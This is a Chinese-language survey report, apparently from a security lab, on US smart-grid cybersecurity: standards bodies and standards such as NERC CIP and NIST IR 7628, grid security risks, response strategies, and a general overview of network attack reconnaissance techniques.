传统电力系统与高新技术之间的协调(Coordination of Bulk Power Systems with New and Emerging Technologies):技术与标准要能够帮助引入或者扩展可再生资源、响应需求和电能存储技术,以解决电力系统运营的问题,顺应技术发展的趋势。

除此之外,联邦能源管理委员会还要求智能电网的开发信息要与能源部的智能电网研究信息进行共享、在设计时要考虑电网的后续升级、公共事业机构要优先使用智能电网技术等。

NERC与FERC的关系如下:

• FERC管理联邦大型能源系统,认可NERC代表行业作为电力可靠性组织。 

• FERC可要求标准被强制执行,但不制定标准。

• NERC制定标准,但不能要求其强制执行。

• NERC为大型电力系统制定的安全标准,FERC既可以选择接受,也可以选择拒绝,或者建议进行修改。 

1.1.3 NERC 电力可靠性协会

1968年,美国成立了电力可靠性协会(National Electric Reliability Council,NERC),1981年由于加拿大和墨西哥的加入,改名为北美电力可靠性协会(North American Electric Reliability Council,NERC),NERC的成立极大地推动了电力系统可靠性理论的研究及其在工程实际中的应用,同时也带动了世界各国电力可靠性管理工作的开展。

现在北美电力可靠性协会理事会有30位成员组成,分别来自九个区域性的可靠性协会,爱迪生电气研究所、加拿大的魁北克、新墨西哥电力公司以及独立的电力生产企业的代表等。

NERC总部设有20位专责人员及10多位秘书,组成的日常办事机构即执行委员会。该委员会下设工程委员会和运行委员会。

工程委员会的主要职责是:

(1)协调各地区的电力规划和工程设计;

(2)进行电力系统可靠性评估和负荷预测分析;

(3)组织进行发电、输电及配电系统可靠性分析计算的计算方法的研究及其软件的开发;

(4)协调、分析和评价各地区的可靠性准则;

(5)管理可靠性数据库并对数据进行分析,做出各种分析报告。

运行委员会的主要职责是:

(1)负责协调互联的大电力系统的运行,交换运行状况信息;

(2)评议各地区电力系统运行准则和方法;

(3)改进电力系统运行准则、导则;

(4)开展多地区电力系统运行情况的调查研究,参加电力系统事故调查,并做出事故调查报告,促进电力系统的安全可靠运行。

NERC有一个专门解决电力控制系统安全问题的工作组,提出了一系列“关键基础设施保护”(CIP)标准,包括重大网络攻击鉴定(Critical cyberasset identification)、安全管理控制(Security management controls)、人员与培训(Personnel and training)、电子安全界限(Electronic security perimeters)、重大网络攻击下的物理安全保障(Physical security of critical cyberassets)、系统安全管理(Systems security management)、事件报告和响应计划(Incident reporting and response planning)、重大网络攻击恢复流程( Recovery plans for critical cyberassets)等。FERC于2007年7月20日发布了一份通知,表示批准和认可NERC CIP标准。

2009年5月,美国智能电网建设的第一批标准中,包含NERC制定的CIP系列标准(CIP 002-009)。

1.1.4 IEEE 美国电气和电子工程师协会(IEEE)

美国电气和电子工程师协会(IEEE)是一个国际性的电子技术与信息科学工程师的协会,是世界上最大的专业技术组织之一(成员人数),拥有来自175个国家的36万会员(到2005年)。1963年1月1日由美国无线电工程师协会(IRE,创立于1912年)和美国电气工程师协会(AIEE,创建于1884年)合并而成,它有一个区域和技术互为补充的组织结构,以地理位置或者技术中心作为组织单位(例如IEEE 费城分会和IEEE计算机协会)。它管理着推荐规则和执行计划的分散组织(例如IEEE-USA 明确服务于美国的成员、专业人士和公众)。 总部在美国纽约市。 IEEE在150多个国家中它拥有300多个地方分会。透过多元化的会员,该组织在太空、计算机、电信、生物医学、电力及消费性电子产品等领域中都是主要的权威。专业上它有35个专业学会和两个联合会。IEEE发表多种杂志,学报,书籍和每年组织300多次专业会议。IEEE定义的标准在工业界有极大的影响。 

IEEE制定了全世界电子和电气还有计算机科学领域30%的文献, 另外它还制定了超过900个现行工业标准。每年它还发起或者合作举办超过300次国际技术会议。IEEE由37个协会组成,还组织了相关的专门技术领域, 每年本地组织有规律的召开超过300次会议。 IEEE出版广泛的同级评审期刊,是主要的国际标准机构(900现行标准,700研发中标准)。

IEEE由主席和执行委员会共同领导。重大事项由理事会和代表大会进行决策,日常事务由执行委员会负责完成。设有超导,智能运输系统,神经网络和传感器四个委员会和38个专业分学会,如动力工程、航天和电子系统、计算机、通信、广播、电路与系统、控制系统、电子装置、电磁兼容、工业电子学、信息理论、工程管理、微波理论和技术、核和等离子科学、海洋工程、电力电子学、可靠性、用户电子学等。IEEE还按10个地区划分,共有300多个地方分部。代表大会由来自10个地区学会和10个技术分部的代表构成。IEEE北京分部于1985年成立。

IEEE在信息安全标准制定方面主要贡献是制订了无线网络安全方面的诸多标准。目前已通过的信息安全标准有:《ANSI/IEEE802.10a-1999 可通过的局域网/城域网安全》,《ANSI/IEEE 802.10e-1994 IEEE 802 LANs中的V2.0的安全数据交换次级层管理》,《ANSI/IEEE 802.10g-1995互通LAN安全标准》,《ANSI/IEEE 802.1AE-2006局域网和城域网标准:媒体访问控制的安全》,《IEEE C2-2002-2001 国家电气安全编码》,《IEEE1228-1994计算机软件安全方案》等。

目前IEEE致力于制定一套智能电网的标准和互通原则(IEEEP2030),涵盖电力工程(power engineering),信息技术(information technology)和互通协议(communications)三个方面标准和原则。

1.1.5 IEC 国际电工委员会

IEC是国际电工委员会(International Electrotechnical Commission)的缩写,是非政府性国际组织联合国社会经济理事会的甲级咨询机构,正式成立于1906年成月,是世界上成立最早的专门国际标准化机构。总部设在日内瓦。1947年ISO成立后,IEC曾作为电工部门并入ISO,但在技术上、财务上仍保持其独立性。根据1976年ISO与IEC的新协议,两组织都是法律上独立的组织,IEC负责有关电工、电子领域的国际标准化工作,其他领域则由ISO负责。 IEC的宗旨是促进电工、电子领域中标准化及有关方面问题的国际合作,增进相互了解。为实现这一目的,出版包括国际标准在内的各种出版物,并希望各国家委员会在其本国条件许可的情况下,使用这些国际标准。IEC的工作领域包括了电力、电子、电信和原子能方面的电工技术。现已制订国际电工标准3000多个。

IEC的最高权力机构是理事会。目前有67个成员国,称为IEC国家委员会,每个国家只能有一个机构作为其成员。每个成员国都是理事会成员,理事会会议一年一次,称为IEC年会,轮流在各个成员国召开。 理事会主要官员由现任主席和前任主席、现任副主席、司库、秘书长及各国家委员会代表组成。 理事会负责制定IEC政策和长期战略目标及财政目标;选举理事局、标准管理局及合格评定局成员和主席;修改IEC章程及程序规则等。闭会期间,将所有管理工作委托给理事局,而标准化和合格评定领域的具体管理工作,分别由标准化管理局(SMB)和合格评定委员会(CAB)负责。

IEC下设技术委员会(TC)、分技术委员会(SC)和工作组(WG)。每一个技术委员会负责一个专业的技术标准编制工作,其工作范围由执行委员会指定。

IEC于2009年初成立了智能电网战略小组。在其4月份的会议中,开发了IEC标准化框架。IEC的框架第1版的相关标准,包括发展能源系统和通用实例,控制中心,变电站,变电站外,安全,硬化、编码,分布式资源和计量的方法。此外,一项用于指导各IEC技术委员会制定统一的支持智能电网的全球标准的计划正在编写当中。

1.1.6 NARUC 全美公共事业管理委员协会

全美公共事业管理委员协会(简称NARUC),成立于1889年,是一个非盈利性组织,是由美国的能源部,国土安全部,环保部门等联邦单位资助的,其行使国家公共事业机构监管权利,公共事业机构是指提供诸如能源、通信、供水和运输等基本服务的机构,日常工作涉及基础设施,环境,管理设计,融资,安全和煤气,水,电,电信部门的其他问题。NARUC的成员包括50个州,哥伦比亚特区,波多黎各区,维尔京群岛等,超过200个成员。

全美公共事业管理委员协会的使命是通过提高公共事业的服务质量和服务效能从而实现公众利益。根据国家法律,NARUC所有成员都有义务确保公共设施的建立、维护都能符合法律要求,并确保受监管公用事业费率收取费用是公平,公正,合理的,确保这种服务的价格和条件是公平、合理和非歧视性的,且为所有消费者提供的。

NARUC制定电力可靠性方面的国家标准,各州政府可根据实际情况制定标准,其标准是对国家标准的补充。国家没有对电网配电方面制定标准,主要还是由州政府管理制定的,各州政府缺乏电网信息安全管理人员和技术人员,联邦政府正在组织对州政府的电网信息安全管理人员和技术人员进行培训。目前州政府正与联邦政府沟通,希望由联邦政府尽快帮忙制定标准。

usp004

 

1.2主要信息安全标准

1.2.1 NERC CIP 002-009

为保证北美互联电网系统的完整性和电力传输的可靠性,北美电力可靠性委员会(NERC)于2006年6月发布了重要架构防护标准(CIP),整个标准分为8个部分,提出了一系列关于人员与培训、电力资产识别和系统管理等方面的要求。美国联邦能源管理委员会(FERC)于2007年7月20日发布了一份通知,表示批准和认可 NERC CIP标准。

从内容上来讲,NERC的CIP可靠性标准通过禁止对电力系统重要资产和重要信息资产的未授权的逻辑或物理接入,来实现大规模电力系统的可靠性和安全操作,更多的是强调保护电力系统的完整性,而没有包含保证电网安全的整体防护框架或保证具体功能或组建安全性的措施。

从应用范围上来讲,NERC的CIP可靠性标准的执行对象只限于对大规模电力系统的用户、电网管理者和运行部门,其主要目的是规范电网资产管理者和运行部门的行为,而不对设备和系统的设计方、制造方和集成方进行要求。

CIP系列标准的各部分题目和描述如下:

  • CIP-002-1—Critical Cyber Asset Identification—网络安全——关键网络资产识别:

要求责任实体通过一种基于风险的评价方法识别自己的关键资产和关键网络资产。

CIP-003-1—Security Management Controls—网络安全——安全管理控制:

要求责任实体制定和执行安全管理控制,用以保护根据CIP-002-1识别的关键网络资产。

  • CIP-004-1—Personnel and Training—网络安全——人员和培训:

要求有权访问关键网络资产的人员接受身份认证和犯罪审查。同时要求员工接受培训。

  • CIP-005-1—Electronic Security Perimeter(s)—网络安全——电子安全周界:

要求识别和保护电子安全周界和访问点。电子安全周界涵盖了按CIP-002-1要求的方法识别的关键资产。

  • CIP-006-1—Physical Security of Critical Cyber Assets—网络安全——关键网络资产的物理安全:

要求责任实体制定和保持一项物理安全计划,确保电子安全周界内所有网络资产均被保持在一个经确定的物理安全周界内。

  • CIP-007-1—Systems Security Management—网络安全——系统安全管理:

要求责任实体为确保被识别为关键网络资产的系统以及电子安全周界内的非关键网络资产的安全定义方法、程序和规程。

  • CIP-008-1—Incident Reporting and Response Planning—网络安全——事故报告和响应规划:

要求责任实体识别、划分、响应和报告与关键网络资产相关的网络安全事故。

  • CIP-009-1—Recovery Plans for Critical Cyber Assets—网络安全——关键网络资产恢复计划:

要求通过已经成形的业务连续性和灾难恢复技术和实践规范建立关键网络资产恢复计划。

1.2.2 NIST 系列

在NIST的标准系列文件中,虽然NIST SP并不作为正式法定标准,但在实际工作中,已经成为美国和国际安全界得到广泛认可的事实标准和权威指南。 目前,NIST SP 800系列已经出版了102本同信息安全相关的正式文件,形成了从计划、风险管理、安全意识培训和教育以及安全控制措施的一整套信息安全管理体系。其中与智能电网信息安全密切相关的是NIST SP800-82《工控系统安全指南》和NIST SP 800-53《联邦信息系统推荐安全措施》。

此外,NIST的跨机构协同报告或者内部报告(NIST IR)描述了对某一特殊领域的研究。这些报告包括NIST在某一领域内的中期或最终研究成果。目前,NIST共出版了59份同信息安全相关的IR。在2009年9月,NIST发布了一份跨机构协同报告草案,名为《智能电网信息安全策略与要求》,指导后续的智能电网信息安全工作。

  • DRAFT NIST IR7628 

NIST 第7628 号跨机构协同报告(NISTIR 7628)《智能电网网络安全策略与要求》是描述了CSCTG 为智能电网制定的信息安全整体战略的初步报告。这份初步报告精选了当前收集到的最新电网场景用例、其他相关信息安全评估和规划文档中的要求和脆弱性,以及为给智能电网提供充分保护所需要用于对要求进行裁剪的其他信息。预计将于2010 年年初推出的本报告下一版草案将包含智能电网的整体安全构架和安全要求。

《NIST智能电网互操作标准框架与路线图》描述了用于智能电网的高级参考模型,确定了大约80项支持智能电网发展的标准,以及14个需优先发展的问题,并讨论了网络安全方面的风险管理框架与策略。其中《IEC 62351 Parts 1-8 Information security for power system control operations》定义了电力系统控制运行的信息安全性,《IEEE 1686-2007 Security for intelligent electronic devices (IEDs)》定义了智能电子装置的安全性,《NERC CIP 002-009 Cyber security standards for the bulk power system》主干电力系统的网络安全,《NIST SP 800-53, NIST SP 800-82 Cyber security standards and guidelines for federal information systems, including those for the bulk power system》则定义包括哪些主干电力系统的联邦信息系统的网络空间安全性标准及导则。

《智能电网网络安全策略与要求》在网络安全风险管理框架和策略的基础上,进行了智能电网私有性影响评估(Privacy Impact Assessment)和逻辑界面分析(Logical Interface Analysis),提出了先进测量基础设施(Advanced Metering Infrastructure)的安全需求。

NIST强调,网络安全不仅来自于少数分子的蓄意破坏,也常来自于因错误操作、设备故障或自然灾害引起的信息基础设施损坏。信息基础设施方面存在的漏洞可能允许攻击者渗透网络、获取控制软件或改变配置条件,以不可预期的方式破坏智能电网。因此,包括NIST、国土安全部、能源部、能源管委会在内的美国联邦政府已经认识到了解决潜在网络安全威胁的重要性。

其他网络威胁还包括:(1)网络复杂性增加会产生薄弱环节,并暴露给潜在的攻击者,以及产生一些无意的错误;(2)网络互联可能产生共同性薄弱环节;(3)受通信中断和恶意软件影响的风险增加,可能导致软件和系统的完整性和功能性受损;(4)潜在攻击者发挥破坏作用的网络接入点和路径增加;(5)包含客户私人信息在内的数据保密性受损。

随着智能电网的采用和推广,信息技术与电讯部门将会越来越直接地参与到相关工作。这些部门已经建立的网络安全的标准将在解决相关的薄弱环节和开展评估项目方面发挥作用。

除了与这些部门面临的相同薄弱环节之外,由于具有系统复杂、利益相关团体众多和高度时间敏感性操作要求等特点,智能电网在网络安全方面面临的薄弱环节更多。

报告提出了先进测量设施在安全方面的要求,具体涉及以下7个方面:(1)系统与通信保护;(2)信息与文档管理;(3)系统发展与维护;(4)事故响应;(5)系统与信息完整性;(6)系统准入控制;(7)审计与核查。

  • NIST SP800-82 DRAFT Guide to Industrial Control Systems (ICS) Security-工业控制系统安全指南草案

NIST于2009年9月发布了最终版的NIST SP800-82草案。该草案为工业控制系统,包括SCADA,DCS和其他控制系统组件如PLC,提供安全指南,同时提出这些设备或系统独一无二的特性、可靠性及安全需求。SP 800-82在内容上首先概括了目前已有的工业控制系统和典型系统拓扑,然后指出了这些系统存在的脆弱性和面临的威胁,最后给出了一些降低风险的建议。在降低风险的建议部分,主要讨论了NIST SP 800-53中指定的安全措施。

  • NIST SP800-53 Recommended Security Controls for Federal Information Systems and Organizations Revision 3 APPENDIX I   INDUSTRIAL CONTROL SYSTEMS — 联邦信息系统与机构的推荐安全措施 附录I 工业控制系统

NIST SP 800-53是为保障联邦政府信息系统安全而制定的,作用是为信息系统安全措施的选择提供指导,它将安全措施分为了三类:管理,操作和技术。

 NIST SP 800-53的附录I针对工业控制系统提出了基于其特点的信息系统安全措施裁剪指南、安全基准措施补充和安全措施补充说明,便于工业控制系统的使用者和所有者可以从NIST SP800-53中筛选出适合自己系统的安全控制措施。

 

1.3美国智能电网的安全风险管理策略

1.3.1美国智能电网概况

1.3.1.1美国智能电网的概念

美国DOE(能源部)的报告《The Smart Grid: An Introduction》中定义:“智能电网使用数字技术,改进电力系统的可靠性、安全性和效率:从大型发电、配电系统到电力用户,以及不断增加的分布式发电和储能资源数量”。 

usp006

图 美国能源部(DOE)智能电网组成

美国能源部国家能源技术实验室(National Energy Technology Laboratory,NETL)给出了智能电网框架----“现代电网的系统视图”,作为概念和指南,被智能电网领域其它参与者广泛接受。

美国能源部国家能源技术实验室“现代电网”中的技术定义包括了以下5 个重要组成部分:

参数量测: 各种先进的传感器、表计与监视系统, 用以监视设备健康状态与网络状态、支持继电保护、计量电能。

集成通信: 能实现即插即用的开放式架构, 全面集成的高速双向通信技术。

电力设备: 基于最新的材料、超导、储能、电力电子与微电子学科研究成果而制造出的各种新型电力系统设施。

先进应用: 基于各种先进理论和算法的电力系统分布式智能、高级应用软件, 用以监视关键设备、支持各类事件的快速诊断与及时响应, 促进资产管理、系统与市场运行效率的提高。

决策支持: 先进的可视化展示、电力系统仿真与培训工具, 增强各级运行人员的决策能力。

1.3.1.2美国智能电网的特征

美国智能电网强调的七个原则特征及其益处如下表所示。

原则特征

描述

益处

自愈

智能电网应该能够监控自身的运营,检测、分析和解决问题,并识别潜在问题,以避免系统崩溃。当需要时,智能电网应能够还原智能电网网络。

促进节约成本、可靠性以及富余电力的营销

最小化服务中断

鼓励末端电力用户参与

将会为用户、电力系统和环境带来益处。在现代智能电网中,通过智能元件通知用户价格和负载情况,因此用户能够在他们的需求和电力系统需求之间做出平衡。在智能电网中,实现这个功能,需要需求管理、决策营销和实时定价

用户更加明智地使用,帮助电力公司更加有效地生产,带来广泛的环境效益

抗攻击

使电力系统更加弹性,最小化攻击后果,并尽快复原系统

电网阻止或抵挡物理或网络攻击

提供21世纪需要的电能质量

在电力配送过程中,最小化谐波、畸变、不稳定、电压跌落和突波。这个特征需要更加高级的元件,如FACTS、DVR、SVC

避免停机时间的生产率丢失,尤其在数字设备环境中

接纳所有的发电和储能方式

使智能电网能够整合间歇性可再生能源技术,如太阳能和风能

多样化的“即插即用”资源使得发电和储能有了更多的选项,包括新的更加有效、清洁的能源

拓展市场

将带来更多的参与者和选项,使得系统更加有效,需要但不限于分布式发电技术,实时定价和用户响应。

电网的开放访问市场揭示出浪费和效率低下,并将它们淘汰出市场,同时提供新的用户选择,如绿色电力产品 

最优化资产,有效运营

以最小代价实现现代电网的功能,需要网络和组件评估、最优化算法和先期决策营销

以最小代价运营和利用资产

 需要现代技术支持表1中的七个关键特征。智能电网需要的关键技术在2007 Energy Independence and Security Act(ESIA)的Title XIII中描述:综合通信、传感和测量、高级组件、高级控制方法、改进接口和决策支持。

1.3.1.3美国智能电网实例

  • Smart Grid City

 SmartGridCityTM是美国第一个完全整合的智能电网。Boulder和Colorado已经被选作SmartGridCityTM的站点。

 SmartGridCityTM是一个多阶段项目,预期在2009年12月完成。在第一阶段,初始的安装是为了测试和度量用户的反应,包括升级两个变电站、五条馈线和Boulder将近15000哥表计;第二阶段是完全部署阶段,两个变电站、20条馈线和35000建筑(premises)。

  • Austin Energy(奥斯汀能源)

    Austin Energy的智能电网最开始是一个企业体系结构计划,使用面向服务的体系结构(SOA)重新审视公司的商业过程。Austin继续通过不同的需求响应、分布式发电和可再生能源计划使用户选择成为可能。从2008年8月其的技术部署包括130000智能表计和70000智能继电器。计划要求到2009年初,部署270000智能表计和70000智能继电器,以及10000新的输电和配电网传感器;到那时,100% Austin Energy的用户将享受到智能电网技术的服务。

  • 美国PJM公司

全球领先的美国PJM( 宾夕法尼亚— 新泽西— 马里兰互联电网) 公司在2006 年底完成了一个战略发展项目, 从多个维度对自身的发展进行了规划。它的主要愿景包括: 实现企业经营的信息化, 电网资产可以支持自动化运行, 打通能源价值链各环节并实现业务的综合集成, 建设新的控制中心; 组建智能电网工作组, 为PJM 区域内的输电资产所有者建设智能电网制定一致的方法论, 同时也为在PJM管辖区域建设智能电网提供建议方案。

PJM 智能电网有两个组成维度,即技术构成与业务构成。PJM的业务组成主要包括系统运行、市场运行、电网规划与企业管理等四个部分, 从PJM智能电网愿景内容来看, 实际上它涵盖了PJM业务的方方面面。不仅如此, 虽然PJM 本身不拥有资产, 但在它为管辖区域所提供的智能电网建议方案中可以看到含有资产管理的内容。因此智能电网涵盖的业务环节重点是系统运行、市场运行、电网规划与资产管理, 同时通过实现此类业务信息与企业后台管理环节的有效集成与共享, 智能电网还能够帮助建成信息化电力企业。

1.3.2 美国智能电网信息安全面临的新挑战

1.3.2.2 美国智能电网对信息化和信息安全工作带来的挑战

随着智能电网的电力传输系统用于双轨传送电力和信息,信息技术和电信基础设施成为能源部门基础设施的关键。智能电网中信息流的宽度和有效深度远远强于传统电网可能涉及的范围,数据将在智能电网内的各个部分间流动,一个典型的智能电网信息传输路径示意图如下所示:

usp007

 
   

智能电网的建设在为电力企业以及用户带来效益和实惠的同时,也带来新的安全风险,具体包括:

(1)电力系统复杂度的增加,增加了安全防护的难度

智能电网的安全问题越来越得到关注,虽然欧美已经提出了一些安全策略,但还没有形成统一的智能电网安全标准规范体系。美国标准技术研究所(NIST)在2009年9月份发表了一篇涉及智能电网安全方面的文章(《智能电网信息安全策略与要求》),不过目前还只是初稿,有待进一步的修订、完善。缺乏一套完整的安全标准规范体系,智能电网今后的安全性将无法得到保障,这也是智能电网将会面临的一个非常严峻的问题。

(2)智能电网安全标准规范的缺乏

随着智能电网规模的扩大,互联大电网的形成,电力系统结构的复杂性将显著增加,电网的安全稳定性与脆弱性问题将会越显突出。同时复杂度的增加,将导致接口数量激增、电力子系统之间的耦合度更高,因此很难在系统内部进行安全域的划分,这使得安全防护变得尤为复杂。

(3)网络环境更加复杂,攻击手段智能化

智能电网的建设,信息集成度更高,网络环境更加复杂,病毒、黑客的攻击规模与频繁度会越来越高;此外随着很多新的信息通信技术的采用,比如WIFI、CDMA、3G等,它们在为智能电网的生产、管理、运行带来支撑的同时,也会将新的信息安全风险引入到智能电网的各个环节;为了提高数据的传输效率,智能电网可能会使用公共互联网来传输重要数据,这也将会对智能电网的安全稳定运行造成潜在的威胁,甚至可能会造成电网运行的重大事故。不安全的智能网络技术将会给黑客提供他们所附属的不安全网络的快速通道。而且未来有组织的攻击越来越多,网络攻击的手段也会更加多样化和智能化,这都将会给电力系统带来严峻考验。

(4)用户侧的安全威胁

未来用户和电网之间将会出现更加广泛的联系,实现信息和电能的双向互动。基于AMI系统,用户侧的智能设备(比如智能电器、插拔式电动车等)都将直接连到电力系统。这不可避免地给用户带来安全隐患,一方面用户与电力公司之间的信息交互涉及到公共互联网,用户的隐私将会受到威胁;另一方面家用的智能设备充分暴露在电力系统中,易受到黑客的攻击。因此智能电网中端到端的安全就显得非常关键。

(5)智能终端的安全漏洞

随着大量智能、可编程设备的接入,以实现对电网运行状态实时监控、进行故障定位以及故障修复等,从而提高电网系统的效率和可靠性。这些智能设备一般都可以支持远程访问,比如远程断开/连接、软件更新升级等。这将会带来额外的安全风险,利用某些软件漏洞,黑客可以入侵这些智能终端,操纵和关闭某些功能,暴露用户的使用记录,甚至可以通过入侵单点来控制局部电力系统。因此这些智能终端可能会成为智能电网内新的攻击点。面对更加复杂的接入环境、灵活多样的接入方式,数量庞大的智能接入终端对信息的安全防护提出了新的要求。

除此之外智能电网的信息安全问题还涉及其他因素,如心怀不满的员工、工业间谍和恐怖分子发动的攻击,而且还必须涉及因用户错误、设备故障和自然灾害引起的对信息基础设施的无意破坏。脆弱性可能会使攻击者得以渗透网络,访问控制软件,改动负荷条件,进而以无法预计的方式造成电网瘫痪。电网面临的其他风险还包括:

  • 电网不断增加的复杂性,有可能引入脆弱性,使电网越来越多地暴露在潜在攻击者和无意错误之下;
  • 相互连接的网络,会造成各网络共有的脆弱性发作;
  • 引发通信中断和恶意软件肆虐的脆弱性日渐增多,有可能导致拒绝服务或破坏软件和系统的完整性;
  • 供潜在敌对分子恶意利用的入口点和通道越来越多;
  • 破坏数据保密性的潜在可能性,其中包括对用户隐私权的侵犯。

1.3.3 美国智能电网应对策略

1.3.3.1加快智能电网标准的制定

美国政府委托美国标准技术研究所(NIST)牵头加快制定智能电网的标准,目前发布了《智能电网互操作性标准的框架和路线图版本1.0(草案)》和《智能电网信息安全策略与要求(草案)》。这些标准的制定,将促使智能电网的网络安全策略的实施,提高智能电网的安全性。

在智能电网信息安全领域,NIST的标准研究和制定路径如下: 

  • 智能电网应用场景提取 
  • 执行智能电网的风险评估 
  • 开发与智能电网接口界面相关的安全架构 
  • 识别智能电网安全需求,采取降低风险的措施为智能电网提供必要的保护 
  • 智能电网安全符合性评估

1.3.3.2加强智能电网组件和系统的全面评估

由于智能电网包括来自IT、通讯和能源部门的系统和组件,风险管理框架被应用于可适用的资产、系统和网络基础上,其目标是确保完成智能电网组件和系统的全面评估。

在典型的风险管理过程中,资产、系统和网络得到查明,风险被评估(包括脆弱性,影响和威胁);安全要求被具体说明;以及针对在系统生命周期上的有效性、授权和监控,安全控制被选择和实施。当安全需求被具体说明时,针对智能电网的风险评估过程将被完成。这些需求在风险评估的基础上被选择,并将作为一个整体被应用到智能电网中。

1.3.4美国智能电网信息安全包含的方面

(略,免费索取完整版请以中国大陆单位邮箱并附联系确认方式发送邮件至idf.lab@idf.cn)

1.4 传统电网的主要信息安全风险与安全防护措施

传统的电力网络是繁杂的,更多的依赖人为的操作。而公共电力发展,特别是变电站的发展趋势则是高度集中化、自动化以及很强的交互性,这就迫切要求采用规范统一的通信架构。该提议可以追溯到上世纪80年代末,由北美国电力科学研究院拟定。由此出现的是标准通信架构(UCA2.0),现在称为国标IEC 61850。通过该标准的大量应用,电力发展了电网保护和自动化,提高了操作的可靠性和效率。

usp008

 

然而,在电力控制发展的数十年里,各国能源部门受到无数次对控制系统的有针对性的攻击。目前的保障措施,如根据低频减载,孤岛计划和其他特殊保护制度,都需要及时更新并补充制度条款,以防止防护措施不完善所带来的网络威胁。 但是100%的安全是不存在的,威胁是伴随业务的持续性而必然存在的。

美国于2007年开展了“曙光计划”,美国能源部测试了网络的安全性,展示了如何利用一个存在威胁的电网网络漏洞来破坏发电机。并以此估计,如果一次成功对北美第三电网进行攻击,将会带来实际3个月超过7000亿美元损失费用。这是由于电力控制的高速发展,促使电力业务的控制能力需求越来越强烈,大量通用的IP网技术得到广泛应用。随着IP网应用的普及和深入,针对IP网安全的攻击技术的研究也日新月异。而今,针对电力的外部系统的攻击在不断增多,越来越多的SCADA系统成为潜在的攻击的对象。

由于业务的连续性要求越来越高,对电网网络安全的保障要求越来越突出。而网络渗透对工业的侵害缺少监管,911事件的出现加剧了网络安全问题,大量的网络攻击促使能源部门必须从根本上改善其整体的安全防范,来解决相关的安全事宜。

而智能电网的提出,更是加强了网络安全的现实需求。美国政府必须改善电力行业网络中,以避免安全问题带来的停电事件。

2008年1月:美国联邦能源管制委员会(FERC)批准8个新标准,关于强制性保护关键基础设施(总监督)的可靠性标准,以防止可能出现的干扰,预防网络攻击影响国家的电力网络。 

标准是由北美电力可靠性公司(自然环境研究理事会)执定,它已经成为了联邦能源管制委员会电力可靠性组织指定的标准文件。

根据标准文件,政府规定电网供应商需进行:

  • 安全风险评估对网络攻击脆弱性进行评估; 
  • 通过安全风险评估消除重大安全漏洞; 
  • 开发安全系统,以检测并阻止可能的网络安全袭击; 
  • 预警,控制和断然拒绝攻击,然后,联邦紧急事务管理局的工作与重建基本功能; 
  • 建立安全测试体系,以确保新的系统和改变不影响系统的安全控制。

usp012

1.4.1 安全威胁 

(*有删节,免费索取完整版请以中国大陆单位邮箱并附联系确认方式发送邮件至idf.lab@idf.cn)

1.4.3 智能电网灾难备份与灾难恢复

2010年5月17-19日,美国在加州举行国家电网灾难备份与灾难恢复研讨会。由美国国土安全部主办,美国海军研究中心、美国空军联合协办。

电力供应是现代工业和信息社会的基础,经济安全也离不开电力保障。不幸的是,在美国、加拿大以及墨西哥的相当一部分地区,那些用于发电、输电、变电的设备仍在采用几十年前的技术,有的设备甚至在1940年就投入使用。随着无所不在的计算机和互联网的快速发展,以及日益呈现上升趋势的电动汽车,电力基础设施将超负荷运转。此外,电网已经发展成为一个十分依赖技术,经济和管理的公共产业,这就使得电网更容易遭受到例如“百年一遇洪水”等突发性灾难的影响。目前,电网缺乏灾难恢复能力,非常脆弱的小波动,将会造成大面积的瘫痪。

这次研讨会的目的是展示和讨论新技术,同时科学家、政客讨论了灾难备份、灾难重建相关话题。为期3天的研讨会集中讨论了如何将美国电网建设成为一个更灵活、更强大、更坚强的系统。具体来说,我们将与输电、配电、变电、电网部署方案、建筑设计方案、监管政策、潜在的开发技术等相关的安全因素,均纳入了本次讨论内容。

特别引人注目的课题有:智能电网技术(传感技术、计算机控制、超导数据传输、分布式发电);网络安全(网络架构、系统测试、恶意软件防范、信息安全保障、风险评估、标准化建设);自适应系统理论(高优化容灾系统–HOT系统,自主灾难恢复系统 – SOC系统);社会和经济问题(电动汽车、政策调控、前景预计),以及灾难备份与恢复相关的分析方法和工具。 

这次会议于2010年5月17号下午1时,由奥巴马总理的特别助理Richard Reed在开幕式宣读奥巴马总理对电网建设的相关政策,于2010年5月19日星期三12点闭幕。

usp009 

智能电网实现了完全智能化、自动化的控制,创建了高度自动化、反映迅速并具备灾难恢复能力的电网。智能输电网实现了集中化的管理,生产管理系统更加智能化,分布更广、用户更多、交互性更强。

  • 智能-当电网发生异常状况,需要进行断电重启或断电时,速度比手工操作快得多
  • 电网互动-将实时用电需求量与发电量相平衡=>一个效率更高的电网系统
  • 互操作-“开源电网”无缝集成了多种能源电力设备(天然气、热电、水电),也为例如风能、太阳能、电动车、微型燃气轮机、燃料电池等绿色能源技术提供了发展平台
  • 友好的消费者-提供选择;消费管理;需求相应;自我服务;提升与客户的交流;提高预测恢复时间的准确性

1.5 美国智能电网信息安全技术研究

1.5.1网络攻防关键技术

美国将网络攻防关键技术视为网络战争技术的基础,以下从网络攻击和网络防御两个方面介绍有关网络战关键技术。

usp011

  • 网络攻击关键技术

网络攻击从攻击者的角度可分为被动攻击、主动攻击、邻近攻击、内部人员攻击和分发攻击等;从攻击对象的角度可分为对硬件设备的攻击、对网络协议的攻击、对应用系统的攻击、对信息内容的攻击、对主机操作系统的攻击和对服务进程的攻击等;从攻击的后果可分为网络信息系统或信息的保密性、完整性、可用性、可靠性等被破坏。网络攻击的关键技术主要有:

    1、探测侦察技术。主要用于收集目标系统的各种信息,为人侵和攻击网络提供帮助。探测侦察是实施网络攻击的前提,通过探测侦察,可以发现有价值的目标以及目标网络的漏洞和拓扑结构等。探测侦察技术主要有:战略侦察技术,即利用公开的搜索引擎、域名查询、DNS查询、网络勘察软件等技术,从计算机网络所连接的无边界网络中寻找攻击目标,并尽可能多的了解与目标网络体系、攻击价值相关的各种信息,以便确定目标。外围侦察技术。即采用流量分析、拓扑分析、加密数据流破解和认证信息获取等技术手段,以被动攻击的方式对特定目标实施侦察,从中获取目标活动的规律特点、在网络体系中的作用、使用的安全保密机制等,以便锁定目标,确定攻击战术。“火力侦察”技术,即针对攻击目标主机,采用直接接触性技术手段,探测与获取目标的重要信息,以获取网络攻击的主动权,相关技术主要有扫描技术和窃听技术。侦察分析技术,即通过对各种侦察手段所获信息的综合研究与科学分析,形成对目标的完整描述与整体认识,相关技术包括目标网络主机拓扑结构分析技术、目标网络服务分布分析技术和目标网络漏洞利用研究技术等。

